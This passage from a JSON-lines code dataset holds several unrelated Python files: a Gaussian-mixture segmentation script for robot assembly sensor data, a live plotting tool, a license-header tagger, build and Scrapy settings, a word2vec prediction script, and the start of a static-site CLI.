cluster['cov_k'])).astype(np.float64)\n self.totals[0] = np.sum(likelihoods[0,:])\n likelihoods[0,0] = 1e10\n likelihoods[0,:] /= np.sum(likelihoods[0,:])\n N_particles = 100;\n #store primitives as integers\n s = np.zeros((N_particles,N),dtype=int)\n for i in range(N_particles):\n s[i,0] = sample_primitive(likelihoods[0])\n weights = np.ones(N_particles)\n alpha = np.zeros(N_particles)\n ps = np.zeros(self.n_clusters)\n p_x1_for_s1 = np.zeros(self.n_clusters)\n for t in range(N-1):\n for s1, cluster1 in enumerate(self.clusters):\n p_x1_for_s1[s1] = (gaussian(self.X[t+1], cluster1['mu_k'], cluster1['cov_k'])).astype(np.float64)\n for s0, cluster0 in enumerate(self.clusters):\n ps[s0] = 0.0\n for s1, cluster1 in enumerate(self.clusters):\n ps[s0] += T_forward[s0,s1]*(p_x1_for_s1[s1] + self.offset)\n # print(\"t: {0:f}, ps\".format(t), ps)\n for i in range(N_particles):\n weights[i] = ps[s[i,t]]\n self.totals[t+1] = np.max(weights)\n #normalize weights\n weights = weights / np.sum(weights)\n #resample\n rand_offset = np.random.rand()\n cumweights = np.cumsum(weights)\n averageweight = cumweights[-1]/N_particles\n n_particles_allocated = 0\n for i, cumweight in enumerate(cumweights):\n n = int(np.floor(cumweight / averageweight - rand_offset)) + 1 #n particles that need to be allocated\n for particle in range(n_particles_allocated, n):\n s[particle,t] = s[i,t]\n alpha[particle] = alpha[i]\n n_particles_allocated = n\n #finished resample\n for i in range(N_particles):\n s[i,t+1]=forward_model_primitive(s[i,t],mixWithIdentity(T_forward,alpha[i]))\n #count primtivies\n temp = collections.Counter(s[:,t])\n for kk in range(self.n_clusters):\n likelihoods[t, kk] = temp[kk]/N_particles\n self.totals[0] = self.totals[1]\n temp = collections.Counter(s[:,-1])\n for kk, cluster in enumerate(self.clusters):\n likelihoods[-1,kk] = temp[-1]/N_particles\n cluster['gamma_nk'] = likelihoods[:,kk]\n self.offset = max(self.offset*0.5, 0.1)\n\n def maximization_step(self):\n \"\"\"\n Gaussian: p ( X| s , mu , cov ) \n Optimize mu , cov max likelihood\n Heuristic constraints on mu , cov\n \"\"\"\n N = float(self.X.shape[0])\n \n for kk, cluster in enumerate(self.clusters):\n gamma_nk = cluster['gamma_nk']\n cov_k = np.zeros((self.X.shape[1], self.X.shape[1]))\n \n N_k = np.sum(gamma_nk, axis=0) #sum over all the data\n \n pi_k = N_k / N #weights basd on total sums\n mu_k = np.sum(np.tile(gamma_nk,(self.X.shape[1],1)).transpose() * self.X, axis=0) / N_k #means are a weighted sum based on expectation\n if self.constraints:\n for constraint in cluster['constraint_k']:\n if constraint[0] > -1: #constraint[0] = -1 is used for inactive constraints\n mu_k[constraint[0]] = constraint[1]\n for j in range(self.X.shape[0]):\n diff = (self.X[j] - mu_k).reshape(-1, 1)\n cov_k += gamma_nk[j] * np.dot(diff, diff.T)\n if self.constraints:\n for constraint in cluster['constraint_k']:\n if constraint[0] > -1: #constraint[0] = -1 is used for inactive constraints\n if constraint[2] > 0: # covar constraint active:\n scalefactor = constraint[2]/np.sqrt(cov_k[constraint[0],constraint[0]])\n if scalefactor < 1:\n cov_k[constraint[0],:] = scalefactor*cov_k[constraint[0],:]\n cov_k[:,constraint[0]] = scalefactor*cov_k[:,constraint[0]]\n\n cov_k /= N_k\n \n cluster['pi_k'] = pi_k\n cluster['mu_k'] = mu_k\n cluster['cov_k'] = cov_k\n\n def get_likelihood(self):\n sample_likelihoods = np.log(self.totals)\n return np.sum(sample_likelihoods)\n\n def save(self, meanfile, covarfile, pifile):\n \"\"\"\n Save binaries\n \"\"\"\n mu0 = np.zeros((self.n_clusters,self.X.shape[1]))\n cov0 = np.zeros((self.n_clusters,self.X.shape[1],self.X.shape[1]))\n pi0 = np.zeros(self.n_clusters)\n for kk, cluster in enumerate(self.clusters):\n mu0[kk] = cluster['mu_k']\n cov0[kk] = cluster['cov_k']\n pi0[kk] = cluster['pi_k']\n np.save(meanfile,mu0)\n np.save(covarfile, cov0)\n np.save(pifile,pi0)\n\n def manual_labelling(self):\n \"\"\"---------------------\n Manual Labelling\n ------------------------\"\"\"\n # By manually labelling 1 run of data we extract a mean and cov to begin the iterations\n print(\"-------> manual labelling of run1 \")\n mu0 = np.zeros((n_primitives,N))\n cov0 = np.zeros((n_primitives,N,N))\n tlabels = np.genfromtxt(\"../data/pipe/raw_pipe/run1_tlabels\",dtype=float)\n tlabels = np.insert(tlabels,0,0.0)\n labels=[Pr(int(idx)) for idx in np.genfromtxt(\"../data/pipe/raw_pipe/run1_prmlabels\")]\n for prim in [Pr.none, Pr.fsm, Pr.align, Pr.engage, Pr.screw, Pr.tighten]:\n tpairs = []\n for i in range(len(labels)):#collect different labels and time periods corresponding to this primitive\n if(labels[i] == prim):\n tpairs.append([tlabels[i],tlabels[i+1]])\n time, X = read_data1('../data/pipe/raw_pipe/run1', \n '../data/pipe/raw_pipe/bias.force',\n output_fmt='array',\n tpairlist=tpairs)\n #each row of X is an observation\n #each column of X is a variable\n mu0[prim.value] = np.mean(X[:,subset],axis=0)\n cov0[prim.value] = np.cov(X[:,subset],rowvar=False)\n return mu0,cov0\n\n def train(self, mu0, cov0, numIterTrain, transition, currentNumTupdates, time):\n \"\"\"---------------------\n Training\n ------------------------\"\"\" \n # Init \n likelihoods_fileName, tlabels_fileName, prmlabels_fileName, manual_tlabels, manual_prmlabels, success_fileName, failureFile = createFileNames(1,currentNumTupdates) \n self.initialize_clusters(n_primitives, means0=mu0, cov0=cov0, constraints=myConstraints)\n run = 1\n\n # Train by running gmm for \"run1\" of the demonstration data \n print(\"-------> training run1 \")\n for i in range(numIterTrain):\n if i == numIterTrain - 1: # save and plot likelihoods on the last iteration\n likelihoods_figName = \"figures/run1_likelihoods_epochs{0:d}_T{1:d}.png\".format(self.epoch, currentNumTupdates)\n self.expectation_step(\n run,\n t=time,\n # saveFigure = likelihoods_figName, \n saveFile=likelihoods_fileName,\n T_matrix_APF=transition)\n else: # T_matrix_APF implies that the expectation step is using an Augmented Particle Filter\n self.expectation_step(run, t=time, T_matrix_APF=transition)\n self.maximization_step()\n print(\"it: {0:d} likelihood function {1:e}\".format(i, self.get_likelihood()))\n \n # Save training data\n self.save('references/mean', 'references/covar', 'references/pi')\n\n # Print training results\n means = np.load('references/mean.npy')\n covar = np.load('references/covar.npy')\n \n # Save tlabels and prmlabels from likelihoods files \n getlabels(likelihoods_fileName, tlabelFile=tlabels_fileName, prlabelFile=prmlabels_fileName)\n \n # Compute. save and plot success rate\n success_rate = compute_success_rate(likelihoods_fileName, manual_tlabels, manual_prmlabels)\n saveSuccessRateFile(success_fileName, success_rate, currentNumTupdates)\n print(\"-------> training success_rate run1: {0:f}\".format(success_rate))\n \n\n def test(self, run_number, numIterTest, transition, currentNumTupdates, time):\n \"\"\"---------------------\n Testing\n ------------------------\"\"\"\n \"\"\" \n The following code will run iff you specify a run number on command line:\n python gmm.py [run_number]\n\n *note: a run is the raw sensor data corresponding to \n one human demonstration of the full task\n \"\"\"\n offset = 0.01\n success = False\n likelihoods_fileName, tlabels_fileName, prmlabels_fileName, manual_tlabels, manual_prmlabels, success_fileName, failureFile = createFileNames(run_number,currentNumTupdates)\n\n # Testing\n print(\"-------> testing on: \",testfile, \"-----------\")\n while not success and offset < 10000:\n success = True\n offset = offset*10\n print(\"offset: \", offset)\n self.offset = offset\n try:\n self.initialize_clusters_from_savedfiles(n_primitives, \n 'references/mean.npy', 'references/covar.npy', 'references/pi.npy',constraints=myConstraints)\n for i in range(numIterTest):\n if i == numIterTest - 1: # save and plot likelihoods on the last iteration\n likelihoods_figName = \"figures/run{0:d}_likelihoods_epochs{1:d}_T{2:d}.png\".format(run_number, self.epoch, currentNumTupdates)\n self.expectation_step(\n run_number,\n t=time,\n # saveFigure = likelihoods_figName,\n saveFile = likelihoods_fileName,\n T_matrix_APF=transition)\n else:\n self.expectation_step(run_number, t=time, T_matrix_APF=transition, saveFile = likelihoods_fileName)\n \n self.maximization_step()\n print(\"it: {0:d} likelihood function {1:e}\".format(i, self.get_likelihood()))\n \n except Exception as e:\n print(\"error: \", e)\n success = False\n\n # Save testing data\n self.save('references/meantest', 'references/covartest', 'references/pitest')\n\n # Print testing results\n means = np.load('references/meantest.npy')\n covar = np.load('references/covartest.npy')\n \n # Save tlabels and prmlabels from likelihoods files \n getlabels(likelihoods_fileName, tlabelFile=tlabels_fileName, prlabelFile=prmlabels_fileName)\n \n # # Compute, save and plot success rate\n # success_rate = compute_success_rate(likelihoods_fileName, manual_tlabels, manual_prmlabels)\n # saveSuccessRateFile(success_fileName, success_rate, currentNumTupdates)\n # print(\"-------> testing success_rate run{0:d}: {1:f}\".format(run_number, success_rate))\n \n\n\"\"\" --------------------------------------------------------------------------------------\n MAIN\n-----------------------------------------------------------------------------------------\"\"\"\n\"\"\" \n - Initialize:\n * create an array \"subset\" with the raw sensor data of interest\n * manually label one run (data from one human demo of the whole task) and extract \n a mean and cov based on the manual labelling to seed the gmm algorithm\n - Training:\n * train by running the gmm on run1 using the mean and cov from the \n manual labelling as seeds\n - Testing:\n * test on other runs using the mean and cov from the training as seeds \n\"\"\"\nif __name__ == \"__main__\":\n\n # Dictionary for the raw sensor data\n var_idxs = { \n 'pos_x' : 0,\n 'pos_y' : 1,\n 'pos_z' : 2,\n 'ori_x' : 3,\n 'ori_y' : 4,\n 'ori_z' : 5,\n 'vel_x' : 6,\n 'vel_y' : 7,\n 'vel_z' : 8,\n 'ang_vel_x' : 9,\n 'ang_vel_y' : 10,\n 'ang_vel_z' : 11,\n 'F_x' : 12,\n 'F_y' : 13,\n 'F_z' : 14,\n 'M_x' : 15,\n 'M_y' : 16,\n 'M_z' : 17}\n\n # subset contains only the sensor data we are interested in: 3,4,6-17\n subset = np.hstack((np.arange(3, 5), np.arange(6,18)))\n \n # Reorder the dictionary according to data in subset\n for key, val in var_idxs.items():\n found_idxs = np.where(subset==val)[0]\n if found_idxs.size > 0:\n var_idxs[key] = found_idxs[0]\n else:\n var_idxs[key] = -1 # assign -1 in dictionary to the data that wasn't included in subset\n\n N = len(subset)\n\n \"\"\"\n TRAINING AND TESTING\n -- Labelling and training will run if and only if you don't pass any run numbers\n otherwise it will just test\n -- Cycle: \n 1) Manually label run1 to get mu0,cov0\n 2) Train on run1 using mu0, cov0 as seeds\n 3) Test on the rest of the runs\n 4) Update Transition Matrix based on all the labelled runs\n 5) Train on 1 and Test on the rest again\n 6) Repeat steps 4 and 5 for several iterations until labelling success wrt manually labelled runs improves\n \"\"\"\n myConstraints = initializeConstraints()\n\n for i in range(numTMatrixUpdates):\n\n # ------------------------\n # Train on run 1 \n # ------------------------\n time,X = read_data1('../data/pipe/raw_pipe/run1', \n output_fmt='array')#,t0=0.0, t1 = 18.0) #0 to 10.5 for cap\n \n # Init\n myGMM = GMM(X[:,subset])\n \n if i == 0:\n transition = initializeTransitionMatrix()\n # transition = initializeTransitionMatrix2Identity()\n # createSuccessRateFile(1,i)\n else: \n transition = updatedTransition\n\n # Run training gmm\n print(\">>>>>>>> TRAINING >>>>>>>>\")\n mu0,cov0 = myGMM.manual_labelling()\n myGMM.train(mu0, cov0, numIterTrain, transition, i, time)\n \n # --------------------------\n # Test on runs 2-19 \n # --------------------------\n for run_number in range(2, NUM_RUNS):\n \n # for the cap: run 11 is missing and 16 is shit\n # if run_number == 11 or run_number == 16:\n # continue\n testfile='../data/pipe/raw_pipe/run{0:d}'.format(run_number)\n time,X = read_data1(testfile, '../data/pipe/raw_pipe/bias.force',output_fmt='array')\n \n # Init\n mytestGMM = GMM(X[:,subset])\n \n if i == 0:\n transition = initializeTransitionMatrix(final=True)\n # transition = initializeTransitionMatrix2Identity()\n np.savetxt(\"transitions/T_0\", transition) \n # createSuccessRateFile(run_number,i)\n\n else: \n transition = updatedTransition\n\n # Run testing gmm\n print(\">>>>>>>> TESTING >>>>>>>>\") \n mytestGMM.test(run_number, numIterTest, transition, i, time)\n\n # Update Transition Matrix\n updatedTransition = updateTransitionMatrix(i) \n print(\">>>>>>>> T matrix Update #\"+str(i+1))\n tnum = i+1\n transitionFileName = \"transitions/T_{0:d}\".format(tnum)\n np.savetxt(transitionFileName, updatedTransition) \n\n \"\"\"\n FIGURES\n -- likelihood plots are created and saved inside \n the expectation_step called by train and test\n \"\"\"\n print(\">>>>>>>> PLOTS >>>>>>>>\")\n \n # ----------------------------------\n # Plot sensor data of labelled run \n # - for initial and final transition matrix\n # - for run2 (really good) and run12 (sucks)\n # - 4 plots \n lastT = numTMatrixUpdates - 1\n run2plot = [2, 12]\n # trans2plot = [0,lastT]\n trans2plot = 0\n\n for i in range(2): \n plot_file('../data/pipe/raw_pipe/run{0:d}'.format(run2plot[i]),\n tlabelfile=\"results/run{0:d}_tlabels_T{1:d}\".format(run2plot[i],trans2plot),\n prlabelfile=\"results/run{0:d}_prmlabels_T{1:d}\".format(run2plot[i],trans2plot)\n )\n plt.savefig(\"figures/labelled_run{0:d}_T{1:d}.png\".format(run2plot[i],trans2plot),dpi=600)\n # plt.show()\n plt.close()\n\n # for i in range(2): \n # for t in range(2):\n # plot_file('../data/pipe/raw_pipe/run{0:d}'.format(run2plot[i]),\n # tlabelfile=\"results/run{0:d}_tlabels_T{1:d}\".format(run2plot[i],trans2plot[t]),\n # prlabelfile=\"results/run{0:d}_prmlabels_T{1:d}\".format(run2plot[i],trans2plot[t]),\n # tlabelfileTruth='../data/pipe/raw_pipe/run{0:d}_tlabels'.format(run2plot[i]),\n # prlabelfileTruth='../data/pipe/raw_pipe/run{0:d}_prmlabels'.format(run2plot[i])\n # )\n # plt.savefig(\"figures/labelled_run{0:d}_T{1:d}.png\".format(run2plot[i],trans2plot[t]),dpi=600)\n # # plt.show()\n # plt.close()\n\n # # ----------------------------------\n # # Plot success_rate vs. #Tmatrix_updates \n # # - legend: average success rate, success run2, success run12\n # success_a = np.genfromtxt(\"results/run{0:d}_successRates\".format(run2plot[0]),skip_header=1)\n # success_a = success_a[:,1]\n # success_b = np.genfromtxt(\"results/run{0:d}_successRates\".format(run2plot[1]),skip_header=1)\n # success_b = success_b[:,1]\n # Tupdate = np.arange(0,numTMatrixUpdates,1)\n\n # success_sum = np.zeros(numTMatrixUpdates)\n # success_sum_prev = np.zeros(numTMatrixUpdates)\n # for i in range(1,NUM_RUNS):\n # if i == 11 or i == 16:\n # continue\n # success = np.genfromtxt(\"results/run{0:d}_successRates\".format(i),skip_header=1)\n # success = success[:,1]\n # success_sum = success_sum + success\n # success_avg = success_sum/(NUM_RUNS-1)\n\n # plt.plot(Tupdate, success_a, label = 'run{0:d}'.format(run2plot[0]))\n # plt.plot(Tupdate, success_b, label = 'run{0:d}'.format(run2plot[1]))\n # plt.plot(Tupdate, success_avg, label = 'avg')\n # ax = plt.gca()\n # ax.xaxis.set_major_locator(MaxNLocator(integer=True))\n # plt.ylabel('success')\n # plt.xlabel('update number')\n # plt.title('Success vs. T_matrix Updates')\n # plt.legend()\n # plt.savefig('figures/success_vs_T.png', dpi=600)\n # # plt.show()\n # plt.close()\n\n # # ----------------------------------\n # # Plot Transition Matrix values convergence \n\n # # ------ 1) Diagonal values (legend with 6 numbers)\n # plt.subplot(211)\n # # Tdiag: each row has the 6 diagonal elements of one T matrix\n # # each column is the evolution of an element through the iterations\n # Tdiag = np.zeros((numTMatrixUpdates, n_primitives)) \n # for i in range(numTMatrixUpdates):\n # T = np.genfromtxt(\"transitions/T_{0:d}\".format(i))\n # Tdiag[i,:] = T.diagonal() # the 6 diagonal elements \n # Tupdate = np.arange(0,numTMatrixUpdates,1)\n\n # for i in range(n_primitives):\n # plt.plot(Tupdate, Tdiag[:,i], label = 'T[{0:d},{1:d}]'.format(i+1,i+1))\n # ax1 = plt.gca()\n # ax1.xaxis.set_major_locator(MaxNLocator(integer=True))\n # # plt.xlabel('update number')\n # plt.ylabel('diagonal values')\n # ax1.title.set_text('T Matrix Convergence: Diagonal Elements')\n # # plt.savefig('figures/T_diag_convergence.png', dpi=600)\n # plt.legend(loc=3, prop={'size': 6})\n\n # # ------ 2) 2norm of the difference between successive Ts\n # plt.subplot(212)\n # # Tdiff: frobenious norm of the difference between consecutive Ts\n # Tdiff = np.zeros(numTMatrixUpdates-1) \n # for i in range(numTMatrixUpdates-1):\n # T = np.genfromtxt(\"transitions/T_{0:d}\".format(i))\n # Tnext = np.genfromtxt(\"transitions/T_{0:d}\".format(i+1))\n # Tdiff[i] = np.sqrt((np.linalg.norm(T-Tnext, 'fro')/36))\n # Tupdate = np.arange(1,numTMatrixUpdates,1)\n # plt.plot(Tupdate, Tdiff)\n # ax2 = plt.gca()\n # ax2.xaxis.set_major_locator(MaxNLocator(integer=True))\n # plt.xlabel('update number')\n # plt.ylabel('change in T values')\n # ax2.title.set_text('T Matrix Convergence: $||T_{i+1} - T_i||_{FRO}$')\n # plt.tight_layout()\n # plt.savefig('figures/T_convergence.png', dpi=600)\n # plt.show()\n # plt.close()\n\n # ----------------------------------\n # Plot confusion matrix \n\n print(\"---------- FIN -------------\")\n","sub_path":"analysis/gmm_pipe.py","file_name":"gmm_pipe.py","file_ext":"py","file_size_in_byte":39227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"110522084","text":"import argparse\nimport re\nimport sys\nimport time\nfrom collections import defaultdict\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom _math import plt_pause\n\n\ndef plot_time_series(metric_regex, samples=500):\n plt.style.use(\"bmh\")\n\n # Setup ESC key to exit live plot\n request_exit = False\n\n def key_pressed(event):\n nonlocal request_exit\n\n if event.key == \"escape\":\n request_exit = True\n\n fig, _ = plt.subplots()\n fig.canvas.mpl_connect(\"key_press_event\", key_pressed)\n plt.show(block=False)\n\n data = defaultdict(list)\n frame_index = 0\n\n last_update = 0.0\n\n while True:\n line = sys.stdin.readline()\n if line == \"\":\n break\n else:\n line = line.rstrip(\"\\n\")\n\n if request_exit:\n break\n\n for name, patt in metric_regex.items():\n match = re.findall(patt, line)\n if match:\n val = float(match[0])\n data[name].append(val)\n frame_index = len(data[name]) + 1\n\n now = time.time()\n if now - last_update > 0.5:\n plt.cla()\n for name, ys in data.items():\n maxsize = min(len(ys), samples)\n plt.plot(\n np.arange(frame_index, frame_index + maxsize),\n ys[-samples:],\n label=name,\n )\n\n plt.legend()\n plt.ylim(bottom=-2, top=10)\n plt_pause(0.01)\n last_update = now\n\n plt.close()\n\n print(\"Live plot closed.\")\n\n df = pd.DataFrame.from_dict(data, orient=\"index\")\n df = df.transpose()\n df.to_csv(\"data.csv\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--metric\",\n \"-m\",\n metavar=\"METRIC=REGEX\",\n nargs=\"+\",\n help=\"Provide both the name and regular expression to match the metric.\",\n )\n args = parser.parse_args()\n\n metric_regex = {\n m.split(\"=\", 1)[0]: re.compile(m.split(\"=\", 1)[1]) for m in args.metric\n }\n plot_time_series(metric_regex=metric_regex)\n","sub_path":"scripts/r/live_plot.py","file_name":"live_plot.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"632773365","text":"#!/usr/bin/env python \n# -*- python -*-\n#BEGIN_LEGAL\n#\n#Copyright (c) 2016 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n#END_LEGAL\nfrom __future__ import print_function\nimport sys\nimport os\nimport re\nfrom stat import *\n\n\ndef _get_mode(fn):\n \"get the mode of the file named fn, suitable for os.chmod() or open() calls\"\n mode = os.stat(fn)[ST_MODE]\n cmode = S_IMODE(mode)\n return cmode\n\ndef _replace_original_with_new_file(file,newfile):\n \"Replace file with newfile\"\n # os.system(\" mv -f %s %s\" % ( newfile, file))\n os.unlink(file)\n os.rename(newfile,file)\n\ndef _remove_existing_header(contents,prefix=\"#\"):\n \"remove existing legal header, if any\"\n retval = []\n skipping = False\n start_pattern = re.compile(r\"^(/[*]BEGIN_LEGAL)|(\" + prefix + \"BEGIN_LEGAL)\")\n stop_pattern = re.compile(r\"^[ ]*(END_LEGAL[ ]?[*]/)|(\" + prefix + \"[ ]*END_LEGAL)\")\n for line in contents:\n if start_pattern.match(line):\n skipping = True\n if skipping == False:\n retval.append(line)\n if stop_pattern.match(line):\n skipping = False\n return retval\n\ndef _prepend_script_comment(header,prefix=\"#\"):\n \"Apply script comment marker to each line\"\n retval = []\n for line in header:\n retval.append( prefix + line )\n return retval\n\ndef apply_header_to_source_file(header, file):\n \"apply header to file using C++ comment style\"\n f = open(file,\"r\")\n mode = _get_mode(file)\n contents = f.readlines()\n f.close()\n trimmed_contents = _remove_existing_header(contents)\n newfile = file + \".new\"\n o = open(newfile,\"w\")\n o.write(\"/*BEGIN_LEGAL \\n\")\n o.writelines(header)\n o.write(\"END_LEGAL */\\n\")\n o.writelines(trimmed_contents)\n o.close()\n os.chmod(newfile,mode)\n _replace_original_with_new_file(file,newfile)\n\n# FIXME: this will flag files that have multiline C-style comments\n# with -*- in them even though the splitter will not look for the\n# comment properly\n\ndef _shell_script(lines):\n \"\"\"return true if the lines are the start of shell script or\n something that needs a mode comment at the top\"\"\"\n \n first = \"\"\n second = \"\"\n if len(lines) > 0:\n first = lines[0];\n if len(lines) > 1:\n second = lines[1];\n \n if re.match(\"#!\",first):\n return True\n if re.search(\"-\\*-\",first) or re.search(\"-\\*-\",second):\n return True\n return False\n\ndef _split_script(lines):\n \"Return a tuple of (header, body) for shell scripts, based on an input line list\"\n header = []\n body = []\n\n f = lines.pop(0)\n while re.match(\"#\",f) or re.search(\"-\\*-\",f):\n header.append(f)\n f = lines.pop(0)\n\n # tack on the first non matching line from the above loop\n body.append(f);\n body.extend(lines);\n return (header,body)\n\ndef _write_script_header(o,lines,prefix=\"#\"):\n \"Write the file header for a script\"\n o.write(prefix+\"BEGIN_LEGAL\\n\")\n o.writelines(lines)\n o.write(prefix+\"END_LEGAL\\n\")\n \ndef apply_header_to_data_file(header, file, prefix=\"#\"):\n \"apply header to file using script comment style\"\n f = open(file,\"r\")\n mode = _get_mode(file)\n contents = f.readlines()\n f.close()\n trimmed_contents = _remove_existing_header(contents, prefix)\n newfile = file + \".new\"\n o = open(newfile,\"w\")\n augmented_header = _prepend_script_comment(header,prefix)\n if _shell_script(trimmed_contents):\n (script_header, script_body) = _split_script(trimmed_contents)\n o.writelines(script_header)\n _write_script_header(o, augmented_header, prefix)\n o.writelines(script_body)\n else:\n _write_script_header(o,augmented_header,prefix)\n o.writelines(trimmed_contents)\n o.close()\n os.chmod(newfile,mode)\n _replace_original_with_new_file(file,newfile)\n\n####################################################################\n### MAIN\n####################################################################\nif __name__ == '__main__':\n if len(sys.argv) < 4:\n print (\"Usage \" + sys.argv[0] + \" [-s|-t] legal-header file-name [file-name...]\\n\")\n sys.exit(1)\n\n type = sys.argv[1]\n header_file = sys.argv[2]\n if not os.path.exists(header_file):\n print (\"Could not find header file: [%s]\\n\" % (header_file))\n sys.exit(1)\n\n files_to_tag = sys.argv[3:]\n f = open(header_file,\"r\")\n header = f.readlines()\n f.close()\n\n sources = files_to_tag\n\n if type == \"-s\":\n for file in sources:\n if re.search(\".svn\",file) == None and re.search(\".new$\",file) == None:\n apply_header_to_source_file(header, file.strip())\n elif type == \"-t\":\n for file in sources:\n if re.search(\".svn\",file) == None and re.search(\".new$\",file) == None:\n apply_header_to_data_file(header, file.strip())\n else:\n print (\"2nd argument must be -s or -t\\n\")\n sys.exit(1)\n","sub_path":"mbuild/header_tag.py","file_name":"header_tag.py","file_ext":"py","file_size_in_byte":5463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"559674853","text":"#======== setup.py ===========\nfrom distutils.core import setup\nfrom Cython.Build import cythonize\n\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\nimport subprocess\nimport numpy\n\nproc_libs = subprocess.check_output(\"pkg-config --libs eigen3 egl glew pcl_io-1.8\".split())\nproc_incs = subprocess.check_output(\"pkg-config --cflags eigen3 egl glew pcl_io-1.8\".split())\n\nlibs = [lib.encode('utf-8') for lib in proc_libs.split()]\nincs= [inc.encode('utf-8') for inc in proc_incs.split()]\nincs_new = []\nfor inc in incs:\n if '-I' in inc:\n inc = inc[2:]\n incs_new.append(inc)\n\nincs = incs_new\nincs = incs + [numpy.get_include()]\nlibs = libs + ['-lboost_system']\n\nsetup(\n cmdclass = {'build_ext': build_ext},\n ext_modules = cythonize(Extension(\"projector\",\n sources = [\"projector.pyx\"],\n language = \"c++\",\n include_dirs=incs,\n extra_link_args=libs\n )\n )\n)\n","sub_path":"self_localization/renderer/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"508758158","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for domain_com project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# https://doc.scrapy.org/en/latest/topics/settings.html\n# https://doc.scrapy.org/en/latest/topics/downloader-middleware.html\n# https://doc.scrapy.org/en/latest/topics/spider-middleware.html\n\nBOT_NAME = 'domain_com'\n\nSPIDER_MODULES = ['domain_com.spiders']\nNEWSPIDER_MODULE = 'domain_com.spiders'\n\n\n\nCOOKIES_ENABLED = False\nDOWNLOAD_DELAY = .5\nCONCURRENT_REQUESTS = 20\nCONCURRENT_REQUESTS_PER_DOMAIN = 1\n\nDOWNLOAD_TIMEOUT = 30\n\n# DOWNLOAD_DELAY = .1 # Autothrottle never goes below this value and so we have to set it to low\n# AUTOTHROTTLE_ENABLED = True\n# AUTOTHROTTLE_DEBUG = True\n# AUTOTHROTTLE_MAX_DELAY = 10.0\n# AUTOTHROTTLE_TARGET_CONCURRENCY = 1\n\nDOWNLOADER_MIDDLEWARES = {\n 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware' : None,\n}\n# FEED_URI=\"/home/domain.csv\"\n#\n# FEED_EXPORTERS = {\n# 'csv': 'scrapy.contrib.exporter.CsvItemExporter',\n# }\nFEED_FORMAT = 'csv'","sub_path":"domain_com/domain_com/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270809853","text":"import pandas as pd\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing.sequence import pad_sequences\r\nimport joblib\r\n\r\nmodelPath = \"F:/IndustryProject/word2vec_model.h5\"\r\ntokenizerPath = \"F:/IndustryProject/word2vec_tokenizer.pkl\"\r\nscalarPath = \"F:/IndustryProject/word2vec_scaler.pkl\"\r\nfilePath = \"F:/IndustryProject/PickleDataCountV8\"\r\n\r\nmodel = load_model(modelPath)\r\ntokenizer = joblib.load(tokenizerPath)\r\nscaler = joblib.load(scalarPath)\r\ndf = pd.read_pickle(filePath)\r\n\r\n\r\ninputVectors = tokenizer.texts_to_sequences(df['Text'])\r\ninputVectors = pad_sequences(inputVectors, padding='post', maxlen=8906)\r\noutput = model.predict(inputVectors)\r\ndf['Predicted'] = scaler.inverse_transform(output)\r\n\r\ndf[['Path', 'WordCount', 'CharCount', 'StopWords', 'Sentence', 'Predicted']].to_csv(\"F:/IndustryProject/TestingWord2Vec.csv\")","sub_path":"Python/Processing/TestWord2Vec.py","file_name":"TestWord2Vec.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"27554395","text":"import mot\nimport os\nimport argparse\nimport collections\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\n\nclass InitAction(argparse.Action):\n def __init__(self, **kwargs):\n super(InitAction, self).__init__(**kwargs)\n\n def __call__(self, parser, namespace, values, option_strings=None):\n # print('{} {} {}'.format(namespace, values, option_strings))\n cfg = collections.OrderedDict()\n cfg['sitename'] = input('site name>') or 'Untitled'\n cfg['payoff'] = input('site payoff>') or 'Payoff'\n cfg['author'] = input('site owner>') or 'anonymuse'\n cfg['theme'] = input('theme>') or 'default'\n cfg['github'] = 'https://github.com/'.format(input('github>'))\n cfg['twitter'] = 'https://twitter.com/'.format(input('twitter>'))\n mot.bootstrap(cfg)\n\nclass BuildAction(argparse.Action):\n def __init__(self, **kwargs):\n super(BuildAction, self).__init__(**kwargs)\n \n def __call__(self, parser, namespace, values, option_strings=None):\n mot.Theme().build()\n\nclass ServerAction(argparse.Action):\n def __init__(self, **kwargs):\n super(ServerAction, self).__init__(**kwargs)\n \n def __call__(self, parser, namespace, values, option_strings=None):\n os.chdir(mot.DIST_PATH)\n server_address = ('', 8000)\n httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)\n httpd.serve_forever()\n\nclass PostNew(argparse.Action):\n def __init__(self, **kwargs):\n super(PostNew, self).__init__(**kwargs)\n\n def __call__(self, parser, namespace, values, option_strings=None):\n print('{} {} {}'.format(namespace, values, option_strings))\n if type(namespace.__dict__['title']) == list:\n title = ' '.join(namespace.__dict__['title'])\n else:\n title = namespace.__dict__['title']\n post = mot.Post()\n post.set_title(title)\n post.set_date()\n post.save()\n\nparser = argparse.ArgumentParser(mot.__description__)\nsubparsers = parser.add_subparsers(help='pending')\n\nparser2 = 